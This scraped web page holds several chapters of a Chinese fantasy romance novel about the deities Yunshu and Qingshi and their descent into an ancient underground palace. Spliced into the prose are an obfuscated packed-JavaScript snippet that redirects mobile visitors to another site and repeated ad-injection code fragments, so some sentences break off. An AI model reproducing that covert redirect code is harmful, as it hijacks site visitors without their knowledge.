青时打横抱着她一路疾行到六楼房间,将她安置在床榻上,轻轻捏了捏她的手:“我在。” 云舒看着他浅笑:“梦里,你……” “嗯?”他抬手整理她凌乱的发丝:“那不是梦。” 云舒有些无力地颤动着眼睫,执拗着小声说:“梦里,你会给我挽发髻……” “还会……做好吃的饭菜……还会……” 他俯身靠近她的唇,耳畔响起她渐渐微弱的声音:“……陪我……晒月亮……” 青时的眼眶忽然有些泛红,额头抵着她的,低笑着贴了贴她的唇角,偏执又虔诚: “以后也陪你晒月亮。好不好?” “……仙女姐姐。” 交握的手腕上,墨玉缚魂铃透出淡淡荧光,仿佛暗夜中的无名星辰,美丽又自由地燃烧着。 …… 云舒以为自己这一觉睡得不久,走到楼梯间却碰见宿息语告诉她:“哟,老板娘,躺了一个多月终于醒啦?” “一个多月?” 云舒微微讶异,她得睡得多沉,才丝毫察觉不到自己一直在睡觉?醒来还如此神清气爽。 “青时在哪?” 宿息语:“老板他……不出意外就在三楼最里间那个房间吧。” 云舒:“好,多谢。” 宿息语:“唔,不客气?” 云舒走到房门口,正好碰上周掌柜从里面出来,朝她作揖道:“云舒姑娘。” 见他转身要重新开门,云舒抬手制止:“等等,里面还有其他人吧?他若是在忙,我到楼下等他。” 刚说完,青时便从里面打开了门:“云舒,你醒了。” 云舒极不自然地“嗯”了一声,忽然不知道该将肚子里的话从何说起。 “肚子饿吗?”青时一步迈出,对一旁的周掌柜使了个眼色,示意让他进去处理,顺道关上身后的房门。 然后看向云舒:“一起去吃点东西?” “你……”云舒莫名有些结巴起来:“里面是不是还有人在?要不你先忙?” 青时淡声道:“已经谈妥,周掌柜会处理后续之事。” “走吧,你好久没吃东西了。”说着,他一手牵过云舒的手,往五楼食肆行去。 云舒挣扎了一下,他牵得用力,没挣脱。 到了五楼,云舒才发现里面一个人都没有:“大厨不在?那我……” 青时捏了捏她的手,“我做给你吃,你在这等等。” 他看上去心情不错,云舒觉得至少不该坏了人家好心情:“嗯,那我坐这等你。” 没过多久,四菜一汤便都齐了。 山药炒木耳,青菜白豆腐,红烧鲫鱼,糖醋排骨,山鸡药膳…… 都是家常菜,也是那梦里在落樱峰上经常会吃的菜。 青时舀了一碗汤给她:“云舒,那不是梦。” “是嘛……”云舒端起山鸡汤,小口小口抿着。 其实她现下心境十分割裂,那些被称作“回忆”的东西,对于她来说,太久太远了,也太突然地就冒出来,与其说是回忆,还不如称之为梦,那般不真实,那般如梦似幻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145026|133843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 她喝下几口汤,不自觉叹出一口气,在此之前,她还在神界昭华殿门口跟他说过要两清之类的话,如今又住他的吃他的,这算什么呢? “算你欠我的。”青时吃下一口豆腐,缓声说着。 云舒猛然抬头看他,惊异地睁大双眼:“你!你不准用缚魂铃探查我的心思!” 青时忽而低头苦笑一声,再抬眸时,却仿佛信徒一般虔诚地仰望着她:“云舒,你的缚魂铃,是你自愿给我的。” 云舒听得一噎,片刻,才瘪了瘪嘴道:“那也不准!” 她回望着他,放下手中的碗,同样面露难过:“青时,我无法用从前的模样面对你。” “千年过去,你我都变了。” “梦中的那个姑娘,很可爱,总是对一切都那么积极、向往,充满活力和希望。” “我不同,这世间对我而言,没有希望,没有明天。” “你可分得清,她和我?” 话落,云舒吃了几口饭菜,没去看对面那人,便也知道他的脸色不会好看。 她确实是饿了,待吃饱后,才放下碗筷,继续将心里攒着的话说完: “或许你一时还无法接受,那我就当做还你人情,允许你将我当做曾经那个云舒,嗯……三天时间吧,你若是需要的话,我可以给你三天,三天之后,我们便不要再见……” “云舒,”他忽然出声打断,微眯起眼:“你把我当什么了?” “那你既然不愿的话,”云舒始终平缓着语气:“我也没其他办法了。” “嗯……但作为朋友,我劝你还是尽快走出。” 少顷,青时哼笑一声,整个人通身都冒着寒气:“朋友?你跟弥与和蔽月可有成过亲?” 云舒被问得语结:“跟他们有何干系?” “所以他们跟你才是朋友。”他显然生气了,语气冰凉得要命。 “你只是对过去之事还在执着罢了,”云舒想了想,继续说道:“光阴在流逝,人在往前而行,所有的一切都在不停变化,我们再如何执着往日都是白费力气。” 没有他人进入的食肆,最终只剩下两人浅浅的呼吸声,周遭安静得像是空无一人的旷野,只有夏日晚风在无声飘荡。 良久,云舒牵扯出一抹笑意:“谢谢你的饭菜,很好吃,我先回冥府了。” 见他毫无反应地盯着她看,她也不再多言,起身往露台走去,抬手打开阴阳道。 血红的彼岸花从虚无中绽开,云舒抬脚迈进黑暗。 听着身后的彼岸花之门“吱呀”一声合拢,云舒闭眼吐出一口浊气,才松开紧握成拳的手。 正要往前行去,却有一只手将她狠狠拽进怀里,那人语气固执得仿佛一块无法撼动的石头:“我说了,那不是梦。” 说完,他捏住她的下巴便吻了上来,任由她捶打反抗,死死地将她揉在怀里,怎样都不肯松手。 直到血腥味弥漫在唇齿之间,云舒的脸上似有冰凉的液体滑下,她终于不再挣扎,仰着脸承受他的怒意。 也不知时间过去了多久,久到云舒甚至都快要站不住,整个人都软下靠在他的手臂上,他终于这才松开些,望着她,苍白的脸满是控诉和委屈,眸中水光盈盈的。 云舒这才后知后觉地摸了摸自己的脸,原来那冰凉的泪,是他的。 66. 无序城(二) “我的地魂没事,不用担心。”青时突然开口,凝视着云舒。 她略微一顿:“谁问你了。” 他语气很淡:“你在心疼我。” 云舒:“我没有。” 他忽而一笑:“你有。” 但很快笑意淡去,他委屈得像个被抛弃的小孩:“你方才在心里问了,云舒,我脸色苍白是因为你又要丢下我一个人。” 云舒:“我只是在同情你!” 青时:“好啊,同情也是情。” “你……” “不要脸,”云舒微蹙起眉头,摊开手掌:“把缚魂铃还我!” 话刚说完,青时拉过她的手俯身拥住她,紧搂住她的腰,脑袋在她肩窝上轻轻蹭着:“你曾经说过的,缚魂铃本就是我的东西,你给我是物归原主。是你自己把神魂放进去还给我的,云舒。” “你放开我!” 云舒挣扎着,她其实觉得奇怪,这奉麟怎么只让她恢复了一千年前的记忆,却想不起更多。 青时理所当然地回应她心里的疑惑:“奉麟本是主控三界生灵心神的主神,他拥有万象之眼,洞悉万事万物,尤其是心神。他用万象之眼探索你的神识,故而你会恢复记忆,剩下一些未想起的记忆应当只是时间问题,约摸过不了多久,你便都会想起来了。” “谁问你了……”云舒放弃挣扎,有点无所谓地想着,让他抱个够好了,反正也绝对不会再有下次。 “不会的,”青时执拗地箍紧,贴着她的耳边轻笑:“时日恒长,我们有很多下次。” “你就是你,从前的你是你,如今的你也是你,云舒。” 她靠在他的肩上,露出的眼睫轻轻颤动,有些微微僵住。 “咳!” 身后传来一阵咳嗽声,云舒转身看去,但见一身红黑袍子轻扬的弥与施施然站在那,插着腰,满脸的嫌弃:“我说……你俩注意点,这里过路的人……呃,过路的鬼很多的。” 再往弥与身后一看,乌泱泱的几十个鬼差和鬼魂立在那,一个个满是尴尬地看天看地、假装聊天。 云舒自认为活了这么久什么场面没见过,但被这么多鬼撞见她和青时亲密,还是无法遏制地烧红了脸,声音很不自然:“你们……站那干嘛?” 弥与向身后那群假装很忙的鬼差挥了挥手:“都愣着干嘛?不用干活了?该往哪走往哪走,该干嘛干嘛去。” “是,鬼王大人。” 说完,那几十个鬼差押着收来的鬼魂一溜烟便跑了个干净。 云舒见他没动,猜测他是要去昆仑杂货铺:“鬼王大人,莫不是,找我有事?” 弥与抬手掩唇再咳了一声,抛过来一卷《渡魂手册》,道:“唔,啊对了……你去无序城跑一趟,蔽月和铃兰已经先行一步。另外,诛神石的事天帝已然安排人手去接管,你无需担忧。” 下发渡魂任务的事情,可从来轮不上鬼王亲自安排,云舒有些奇怪地看了他一眼,收下《渡魂手册》:“好。” 青时在一边提醒她:“他是为了来见宿息语。” 云舒这才恍然,深觉自己对于这些事情的反应着实迟钝:“原来如此。” 随即眼见弥与往这边走来,伸手打开阴阳道之门,门后所露出的景致正是昆仑杂货铺。 他并不着急走出,先是变了个镜子出来,再对着镜子左看右看,仔细地整理头发、衣袖,扭头问云舒:“云舒,你也是个姑娘家,你看我这样如何?可还玉树临风,高大威武?” 云舒一手托着下巴,将他上下打量:“还不……” 她“赖”字还未说出口,便被青时一把拉过手,带着走出了阴阳道。 于是又回到了昆仑杂货铺的小院中。 弥与紧随其后踏出,对着青时调侃:“不过是让云舒帮忙看看,你至于这么小气?” 青时幽幽瞥他一眼:“你自己没夫人吗。” “我……”弥与突然一下子被戳了个正着,想到宿息语对他那爱搭不理的样子,瞬间连舌头都有点打结:“我现在就要去找我夫人,哼。” 伸手推开青时:“麻烦青老板让一让!” 云舒看着面前这两个幼稚鬼就觉得好笑:“我看你俩加起来最多三岁。” 看弥与进了木屋,云舒重新在身前打开阴阳道,打算立刻前往无序城,却被青时拉住:“云舒,捎带我一起。” 未等云舒发话,他便道:“我去收账。” 笑得一脸无害。 * 落地无序城。 放眼望去,头顶黑云压城,却不同于雾雨仙林的云雾,这里并不落雨,也毫无仙气可言,不断流窜着凌乱的魔气。 四下皆是灰败,但也不同于冥界的鬼气阴森,此处尽是颓然和黯淡,算不上诡异,却让人见之心生寂寥。 它所处位置正是九重天的背面,虽名为“城”,却与九重天之地界广大相近,是一座收纳三界天魔和伥鬼的城。 可,就是这么一座城,入目皆是巨大而破碎的白玉佛像。 这些破碎佛像比楼房还要高大,宛如一座座小山峰,矗立在楼房和山峦中间,形态各异。 云舒看着眼前某个脚步轻快的黛蓝色身影,长叹出一口气。 他转过脑袋看她,一脸的无辜疑惑样子:“云舒,为何叹气?” 她乜去一眼,故意无视他,拿出《渡魂手册》展开来,念出上面所写的任务内容:“……无序城初代城主夫人金苍苍之魂,在太古地宫隐匿已有万年,如今,其魂魄隐有化为魑魅恶鬼之态势,特派魂使前来收魂……” 这还是她头一回接到无序城的任务,此地邪魔万千,地形又不太熟悉,还是得小心为上。 青时含着笑意几步走来,伸手整了整云舒头顶翘起的发丝:“头发乱了。” 云舒将手捏紧,手中《渡魂手册》浮光一现消失,她冷哼一声从青时身边走过,“你去收你的账啊,我要去太古地宫收魂了。” 她拿出冥府新发放的一个阴阳石牌,据赵阎王说这个东西可用于魂使搭档之间的联络。 将灵力灌入些许,云舒对着石牌问道:“蔽月,你和铃兰到太古地宫了吗?” 石牌对面很快传来一阵稀稀落落的响声,沙沙的,有点听不清晰,忽而一道尖锐的刀鸣声传来,极其刺耳。 “蔽月!铃兰!”云舒没来由地心头一紧:“你们现在在哪?!” 青时眉头微蹙,伸指往地上一点召唤出小龟:“去太古地宫。” “我们……我们……”阴阳石牌终于传来蔽月的声音,却断断续续:“在地宫……三十九……” 紧接着石牌那边又是一阵术法破空声,但并不清晰。 云舒听得焦急,一手拽过青时踏上小龟:“赶紧走啊!还愣着干嘛?!” 小龟缩回张望着的红色细长脑袋:“噢!好的云舒!” 云舒站在龟背上打开《渡魂手册》,将卷轴移到小龟前方给他指路:“红色标记的那处便是收魂点的位置,太古地宫,要快!” 小龟得令,加速得快如一道闪电划过。 耳边风声呼啸,云舒却见青时也从袖子里掏出一个阴阳石牌,他对着石牌另一边的人质问:“为何阴阳石牌带入地宫便不甚灵敏?” 另一边传来周掌柜的声音,有些战战兢兢地:“老板,石牌在试验之时曾被带入墓底深处百丈,皆可使用,若是不灵敏的话,或许……是它所处的方位已远超地底百丈之深?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 云舒讶异地望着青时,原来这玩意儿竟是他卖给弥与的么…… 青时颔首,收回石牌上的灵力,便也切断了和周掌柜的联络,转而对云舒道:“是我卖给弥与的,会让周掌柜再做改进。” 云舒点点脑袋:“嗯。” 再一回想,她方才并未问出口,于是又瞪着他:“不、准、再、用、缚、魂、铃!” 青时抿唇,一双灰棕色的清瞳委屈巴巴地望着云舒。 云舒攥紧小拳头,却无力地垂在身侧,总觉得自己的劲都没处使,扭过脑袋不看他,语气很冷:“你再这样我就去找小十,把他带出山海之墟。” 青时垂下眼睑,很快回答:“好,我知道了。” “到了。”小龟在前方提醒道。 眼前地宫建造于一片灰败的竹林深处,巨大而枯黄的竹子东倒西歪。 待云舒和青时走下龟背,小龟“砰”的一声化为人形,望着一堆巨大的枯黄竹子堆成的小山:“这……这哪有什么陵墓?我是按照手册上的收魂点走的呀……” 云舒拿着《渡魂手册》再次校对,微皱眉头:“看来只能用术法将这堆竹子挪走。” 正欲抬手施法,却突然闪现出一位白发白髯的耄耋老人,下半身连结着一团枯黄夹黑的鬼气,他抬起皱巴巴的一双眼,缓缓看向云舒:“又来一个魂使?” 云舒:“你是何人?” 那耄耋老人却忽然双目睁圆,在云舒和青时身上来回打转:“你们……你们俩怎地又来了?!” 云舒听得懵怔,转头看看青时,他也看她,摇头表示不知:“我从未来过此地。” 云舒有些无语,调侃道:“你不是说来收账吗?从未来过此地?” 青时眨眨眼,理所当然地勾起唇角:“万事总有第一回,素日里都是宿息语来收账。” 耄耋老人显然恼羞成怒:“我不会认错!就是你俩!又来我太古地宫作甚?!三千多年过去了,还要来揍老朽一顿不成?!” 云舒歪着脑袋指了指自己:“我?打你?” 可转瞬一想,她很快反应过来,约摸是三千多年前的析木和青昼曾经来过这儿,于是双手抱胸哼笑一声:“那也定是你有问题。” 小龟在一旁用力点头赞同:“定是你这老头有问题!” “小儿莫要信口胡言!我乃是太古地宫引路魍魉,受天道派遣,在此护陵已有数万年之久。”引路魍魉颇为骄傲地扬起头,挺起胸膛:“可知晓了?天、道、派……呃!” 引路魍魉话未说完,便被青时一手掐住了脖子,瞬间从老头变回小娃娃,黑与黄交融的一个小小灵体。 他短胖的手指挣扎着去掰青时的手:“不……要……揍我!上神……莫要,揍,我……呜呜呜呜……” 青时看着手中捏着的小小魍魉,嗤笑一声:“带路。” 引路魍魉这才从青时手中挣脱,脚下重新飘浮起一团枯黄的乌云,摇摇摆摆地站好:“是是是……小的一定好好为上神们引路……” “上神,请看,此处枯竹成堆,底下便是埋着我太古地宫,万不可小瞧这些枯竹哇,全都是护陵防御之用,故而,上神可先用仙法将此处的枯竹炸开。” 引路魍魉踩着黄乌云飘来荡去,飘到云舒身边,小眼睛滴溜溜地转着,提防地看向青时的手,生怕他再掐过来似的。 谁知云舒反手也是一掐,抓着引路魍魉的脖子将他提到眼前:“你是觉得我们很好骗是吧?” 引路魍魉的四肢再次挣扎:“我……哪,敢……骗您……” 云舒冷冷瞥去一眼:“前头那两个魂使是如何进去的?” 她指尖用力,拧紧了引路魍魉的脖子:“说。我耐心可不多。” 67. 无序城(三) “上神……饶,命……啊……”引路魍魉哭哭啼啼。 云舒:“要不——把你另外那九十八个兄弟全都一并杀了?” 闻言,引路魍魉整个身子僵住,呆呆地望着云舒:“上神,怎知……”他不免心颤了一下,她刚才不是说忘了来过这里吗,又如何知道他有兄弟? 云舒憋着笑松开手,道:“前方带路,我就不杀。” 引路魍魉耷拉下脑袋,飘浮到那堆枯黄的竹子堆上:“还请上神放过我等,我等小小鬼怪修行不易,数万年才修得这么一个小小魂体,此生又为了这太古地宫奔劳,付出那么多,三千年前又被上神……哎!只怪我等力量渺小,若是……” 云舒皱巴着眉头听着,已然耗尽耐心,抬手汇聚灵力,一把抓住另一只引路魍魉的脖颈:“你再多‘若’一个字试试?” “一号,救我啊一号!”二号引路魍魉挣扎着扑腾。 见此,一号引路魍魉“扑通”一声跪在地上,立马施法召唤出其他三个引路魍魉,急道:“大神姑奶奶饶命啊!我不是故意啰嗦的!大神饶命!我们这就给大神打开地宫入口!” 云舒这才松开了二号引路魍魉:“去。” 小龟在一旁看得起劲,双手环胸靠过来问云舒:“云舒,为何你会知晓他还有九十八个兄弟?” 云舒指着一号引路魍魉,笑道:“看见他魂体之中那张字条了吗?” 小龟探头瞧去,只见那黑黄色的灵体之内,隐隐约约好像真的藏有一张小小的字条:“那不会……是你放进去的吧?” 云舒满意地摸摸小龟的红发:“不错,那小字条上有我的灵力残留,字条上写着‘九十九个引路魍魉,可开启地宫之门,可作带路之用。’” 她估摸着,蔽月应当也是发现了她残留的灵力,知晓了小纸条上的内容,利用引路魍魉进入太古地宫深处。 “还是云舒聪明……”小龟正笑嘻嘻地对着云舒,眼角处忽而扫到一阵寒光,悻悻垂头化作一只小小的红龟趴在地上。 云舒蹲下身正打算抱起他,却被青时抢先:“他如今变重了,我来吧。” “哦?”云舒摸摸下巴打量着:“我看他与从前并无二致。” 青时抱着小龟的手微微一顿,随即轻笑一声:“他现在胃口更大了些。” 小龟不满地在他怀里直翻白眼,但也安静地不说话,乖乖趴着。 不多时,五个引路魍魉分列五大方位,金光闪耀的阵法自地底冒出,小山似的黄色枯竹堆乍然消失不见,太古地宫在地面上的那层陵墓显现而出。 这竟是一个石头堆砌而成类似神庙的建筑! 高大而威严,整个神庙仿佛安静的巨人,端坐俯首睥睨众生,再往上看,屋檐上的石雕脊兽是早已灭迹的远古神兽,神秘而叫人心生畏惧。 云舒与青时对视一眼,缓步踏入神庙。 “哎哎哎!疼疼疼!上神可否别抓我耳朵!好疼!”一号引路魍魉被云舒抓了耳朵拎着进来,龇牙咧嘴地直叫唤。 云舒的眼神直冒寒气:“好好给我带路。若有带偏,后果你自己知道。” “是是是,小的哪还敢欺骗上神呐!” 神庙之内并无灯具,越往里走越是黑暗,青时便从袖子里掏出了几个照明珠,递去给云舒一个。 云舒未接,奇怪地看他一眼,手一挥变出数盏六角魂灯,蓝色鬼火跃然点上:“你的珠子可以收起来了。” 不待青时将照明珠收回,神庙里的石柱却忽然发出阵阵难听的“吱吱”声,尖锐刺耳。 云舒双眉微微蹙起,便又再次挥手,无数六角魂灯从她身后冒出,将神庙照得满室通明。 空空荡荡的石砌神庙之中,唯有石柱之上盘旋着巨大的枯木雕成的蟒蛇。 “吱吱”声愈发响亮,不过须臾,这些枯木蟒蛇眸子一亮,像是收到某种召唤一般活了起来。 快速蠕动爬行,直冲殿中几人而来。 石柱的数量少说也有百八十根,如此众多的枯木蟒蛇同时攻击,还真颇有点万箭齐发的意思。 云舒正握手祭出生灭,但见不远处的一条枯木蟒蛇突然原地腾起,直直往她这边飞来。 正欲提刀砍杀,但见那蛇眼冒出紫色光芒,猝然闪到云舒的神识之中,她难受地一下子紧紧闭上了双眼。 而那曾经遥远的记忆片段,如泉水一般汩汩涌出,再收不住—— 无序城颓败枯黄的竹林之中,那道灵动的绿色身影极为显眼。 “这么说来,青昼上神是来此处寻找无忧玉简的喽。”她的声音轻快,抬眼看向前方,那人身形高大,身着墨色衣袍,微微侧首聆听。 青昼转身看她,含着一丝不易察觉的笑意:“嗯。” “传言太古地宫藏有上古珍宝无数,既有珍宝,必定是守卫森严,我想,既然析木上神也要往此处去,那不如,咱们同行,也互相有个照应。” “唔……”析木支着下巴上下打量他:“可你方才与天魔打斗受伤了……” 青昼:“不打紧,一点小伤罢了。” 见他不打算处理,析木几步走到他身前,拉过他的手臂,一把将袖子扯上去,那道天魔爪子划开的伤口很深很大,皮开肉绽,鲜血淋漓,分明看着便极其疼痛,面前这个男人却一言不发。 析木看得不知为何有些火大,用力将大拇指按了进去,按得血珠不断涌出,她才开始施以治疗术。 “青昼上神觉得自己的手是天铁做的不成?” 青昼无辜地眨眨眼:“我不是,我没有。” 析木瞪他一眼,过了一会才问:“疼吗?” 青昼抿了抿唇:“有一点。” 析木还是不高兴:“那你刚刚怎么都不说?!” 治疗术结束,她甩开他的手臂,自顾自往前快步走去。 青昼呆在原地看着她往前走,有点丈二和尚摸不着头脑,低声自语似的:“刚刚好像……没那么疼的。” 谁知原本走远的析木又重新“哒哒哒”地跑回来,扔给青昼一瓶丹药:“以后再怕疼就吃这个,吃一粒,什么都不疼。” 青昼有点愣愣地摩挲着那瓶小小的丹药:“你将这丹药给了我,若是自己怕疼怎么办?” 析木毫不客气地嘲他:“你傻呀,我怎会将全部的丹药都给你? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” …… “小心!”青时抬手便挥开那条直冲云舒而来的枯木蟒蛇,挡在她身前:“云舒,眼睛不舒服吗?” 云舒也不知是不是方才有一瞬间的紧张,她的手心满是汗湿,将他的袖角攥得死紧,听见术法打斗的声音才缓过神来:“没、眼睛没有不舒服!” 眼睫轻颤,睁开眼,面前的石砌神庙全然被蓝冰覆盖、冰冻,云舒眨眨眼:“青时,是你的冰冻术?” 青时转身检查她的眼睛,确认没事才说:“是,方才一时情急之下施术,可有觉得冷?” 云舒摇摇头,假装不经意地松开他的袖角:“不冷。” 她忽而想起一事,抬头望向神庙屋顶,仔细探看着,喃喃道:“那上面不是该有什么东西的么……” 青时满脸疑惑,也抬头看去:“该有什么?” 云舒伸手便将隐去的引路魍魉抓住:“上面原本放着什么?有什么东西不见了?” 引路魍魉欲哭无泪:“姑奶奶就饶了我吧,您能不能别抓我耳朵啦……” 云舒:“再不说我一刀捅了你,让你去冥府玩玩。” “我说还不行嘛!这还不都是上神你干的嘛!” 引路魍魉气愤地瘪着嘴:“从前,这顶上高悬一柄神刀,刀身刻文‘混沌断刀’,自古便有。直到三千多年前,上神您来到神殿内,见到这柄断刀十分喜欢,便、便拿了去……” “断刀?”云舒总觉得在哪听过…… 可仔细回想之下才记起,她不仅听过,还见过,就在雾雨仙林,领主初忆的回忆之中。 三千年前,青昼拿着一柄名为断刀的刀,切了奉麟一条胳膊,再以己身抵挡诛神石的暴击,护住了无数神兵神将,而那柄名为断刀的刀却碎成粉末。 云舒回望青时,他显然也才想起领主初忆的那场回忆。 他浅浅笑道:“远古神兵利器,有幸得之一见也是好的。” 引路魍魉嘀嘀咕咕的:“那可不是,那刀,威风得不得了哇,数十万年高悬此处,仍通体白亮宛若初生,刀刃之寒光如暗夜之明月,靠近三丈之远都能感受此刀的寒烈之气,奇怪,上神今日怎地不召唤断刀出来?” 云舒一把捏紧引路魍魉的耳尖:“这是你该管的事吗?嗯?” “我爱用什么刀就用什么刀。” 引路魍魉老老实实地频频点头:“是是是,您说的都对……” 云舒召唤出《渡魂手册》再次查看任务点的位置之处,却发现那红点就在他们的正下方:“看见这红点点没?立马带我们过去。” 引路魍魉盯着那《渡魂手册》看了又看,才终于确认下来,神情逐渐凝固:“您该不会要去地宫九十九层的城主夫人墓室吧?” 云舒歪着脑袋问:“怎么?这里还有你不知道的路?” 引路魍魉哭丧着脸:“您可千万别说笑啦,这里还能有我不晓得的路?” “不过是……那地方连九十九号兄弟也已经数年未进去啦!里面怨气冲天,黑烟滚滚,城主夫人金苍苍恐怕早已化为三界最为险恶的厉鬼,与之对视,必定粉身碎骨,三魂七魄都得散。” 68. 无序城(四) 云舒拿出阴阳石牌,试图灌入灵力再次联系蔽月,而那边已是彻底没了回音。 思索片刻,她对引路魍魉下指令道:“我们先下到第三十九层。” 之前联系蔽月之时,依稀曾听见他说什么三十九。 才刚说完,方才被青时打到一旁的枯木蟒蛇再次亮起眼睛,一跃而起朝这边猛攻来。 云舒一把将青时拉开,生灭寒光一亮,手起刀落,枯木蟒蛇真真变回一枝小小枯木,飘荡着随风散去了。 引路魍魉看着寒光四溢的生灭刀刃,有些眼泪汪汪地颤抖着小身子:“上神呀,太古地宫没有穿梭法阵,咱们只能一层一层地走下去……” “哦?”青时牵过云舒的手,声音像极了蛊惑人心的妖精:“是嘛。” 眨眼之间,云舒只觉身轻似烟,极速下坠,风声在空间缝隙里来回穿梭,这感觉——像极了之前那次,在昆仑杂货铺五楼露台被他拉着跳下去,从人界穿梭到冥界。 她抓紧了青时的手,神识中传来的眩晕感让她低下声音,问他:“你是不是……会空间术法?” 这个术法很像瞬息术,但瞬息术只能传送去往就近的、曾去过的地方。 而青时所用的空间术法似乎对他没有任何阻碍,就像是三界时空任君穿梭…… 青时垂眸看她,说得很自然:“嗯,天道曾允我执掌三界空间平衡。” 闻言,云舒怔忡半晌,难怪,他可以任意往来三界之间,去了冥府更是一点事都没有,去神界更像是回自己家一般。 她听说过的,执掌三界空间法则的主神陨灭已经很多年了,如今无人在位,只因现今的九重天之中,还没有仙神能得到天道的认可…… 闭上眼,任由耳边风声呼啸,她的神识之中那些深埋着的记忆在不断破壳而出—— “青昼上神所寻的无忧玉简在地宫第几层呢?” 绿裳少女踏入地宫第二层,侧首看向身旁那人。 青昼:“传闻中,无忧玉简似乎是埋在最下面的几层。” 析木:“似乎?看来你也并无把握,不过咱们俩都差不多同样倒霉,我要找的银栀白叶甚至连在第几层都不知道,只听医仙所言是埋在这太古地宫之中。” “这地宫看着这般大,银栀白叶若是在第九十九层,我还真得走到腿酸。” 青昼笑道:“别的不敢多言,这地宫的第九十九层是无序城初代城主夫人的墓室,银栀白叶应当不至于放在棺椁之中。” 话音刚落,忽然从石柱之中释放出阵阵沁人心脾的怪异香气。 “呲——”“呲——” 析木立马捂紧口鼻提醒道:“有毒,小心!” 青昼却仿佛视而不见,慢慢悠悠地从袖子里掏出一颗果子吃了起来。 她明显看得着急:“你还有心情吃东西?拌着这地宫秘毒吃,可好吃?” 对面那人听得发笑,塞了一颗小红果到析木唇边:“尝尝,味道还不错。” 她看他吃得淡定,便也咬了过去吃起来:“你……什么时候摘的果子?” 这小红果之前在太古地宫外面的竹林里面见过,是那些枯黄竹子顶上结出的小果子,色泽红艳,一看就有剧毒。 看来除了以毒攻毒,大概是没别的说法了。 青昼看她用红果塞得腮帮子鼓鼓的,像个小仓鼠似的,这才开始解释:“这红果是解药。” 析木咬啊咬的,口齿还有些不清晰:“哦,青昼上神还挺有先见之明。” 他忽然问:“好吃吗?” 她吃完舔了舔唇,砸吧砸吧嘴细细回味了下:“嗯,挺甜的。” 青昼眼尾笑意浅浅:“我也觉得甜。” “这第二层看来也是空空如也,那我们再往下一层走?” 析木点点脑袋,继续抓着那只小小的引路魍魉带路,往下一层的楼梯行去。 “太古地宫果真不负盛名,不愧为上古遗迹,每一层都建得那么高,楼梯都是这般多……”她也不是故意要抱怨,只是活了这么多年,还从未走过如此之多的阶梯。 析木累得摇脑袋:“可若是使用疾风术,又怕错过楼梯,万一我们所寻之物就放在这楼梯之间呢,哎。” “或许……”青昼转头看向析木:“还有别的方法。” 析木眼前一亮,问道:“什么方法,快快说来听听。” 青昼缓声说道:“空间转换术,比瞬息术更快,同时也不会错过两个地点之间的风景。” “空间转换术?这等高阶术法我可不会……” 她方问出口,只见眼前的墨色衣袍打了个响指便瞬间消失,随后一息不到,他便又再次出现。 析木看得目瞪口呆,连说话都不利索起来:“这、这……” “好厉害……这就是传说中的空间转换术吗?可否教教我?” 青昼唇角微微勾起:“好啊,我教你。” “屏息凝神。” 她满脸认真地跟着学:“屏息凝神……” “到了。”青时的沙哑之音从头顶传来。 云舒眼睫微微颤动,缓慢睁开眼,眼前人还是那熟悉的苍白面庞,五官精致,九重天的漫天仙神也没几个比得上他。 回过神来之时,她竟已将手覆在他的面上,唇边呢喃着:“一点都没变……” 云舒惊异地将手缩回,却被青时拉住,重新放回到他的脸上,灰棕色的眸中满是笑意:“云舒,你想摸便摸。” 她轻哼了一声,仍是将手收回放下:“你这么大方做什么?” “只对你如此。”他面色如常,说得自然而然,仿佛从来如此,他们不曾失去那空白的一千年一般。 云舒抿着唇瞪他一眼:“还有正事要忙。” 青时看着她笑得一脸灿烂:“嗯,那我们先找人。” 回首看去,三十九层早已被地狱之火烧得一片焦黑,石柱、石壁,还有三十九层本就存放的各种稀有神兽骸骨,全部烧成了焦炭,数十根石柱甚至被地狱之火侵蚀得摇摇欲坠。 云舒拧眉走过,仔细辨认着一具具神兽骸骨,这些都是存放了数十万年的骸骨,在太古地宫的滋养之下,早已长出颗颗金黄色的凝晶石。 却让地狱之火烧得个七零八落的。 “看来蔽月和铃兰已经继续往下走了。”云舒一一辨认,确认没见到二人气息,这才松了一口气。 忽而, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从楼梯口处传来一阵阴风,只听那阴风中夹杂的女声尖细又妖娆: “我当是何人闯我无序城的太古地宫,原来是我的亲亲小师弟呀!” 细碎的阴风猛然变大,呼啸的风声宛若鬼魅般掠过,那女子身影显现而出,一袭群青色的衣袍随风飞舞不止,身形婀娜,面容姣好,饱满的唇边一颗若有似无的小痣更显风情。 令迦细长的眼笑得眯成一条缝:“小师弟,这么多年不见,可有挂念师姐?” “嘶,不过,师姐听闻你在三千年前就已经死了,这……莫不是死不安宁,化成了幽幽小鬼?” 说着,她瞬息之间便飘到青时身前,伸出两根纤细的葱白嫩指,点了点他的胸膛:“呀!是真的呢!” “你竟不是鬼魂?!” 青时面无表情地看着,但显然耐心已是不多,抓过她的手随意将她丢飞出去。 令迦身形腾飞,翻转几圈后又施施然再次落地,她立在对面掩唇哈哈大笑几声:“哪有亲亲小师弟对师姐这么没礼貌的?” “你?”青时嗤笑一声:“你算哪门子师姐?” 令迦眼睛微眯,只觉那异样的感觉再次浮上,面前这个身着黛蓝色衣袍的少年人像是不认识她,她决计不会认错人,但恐怕眼前这个师弟遇上什么事,才会忘了她。 她身后的一片漆黑暗影之下,忽而传来野兽的声音:“夫人,那不是城主大人么?” 云舒点点手指,六角魂灯瞬间照耀整个三十九层地宫,对面那女子的身后竟站着一只巨大的虎头蝙蝠。 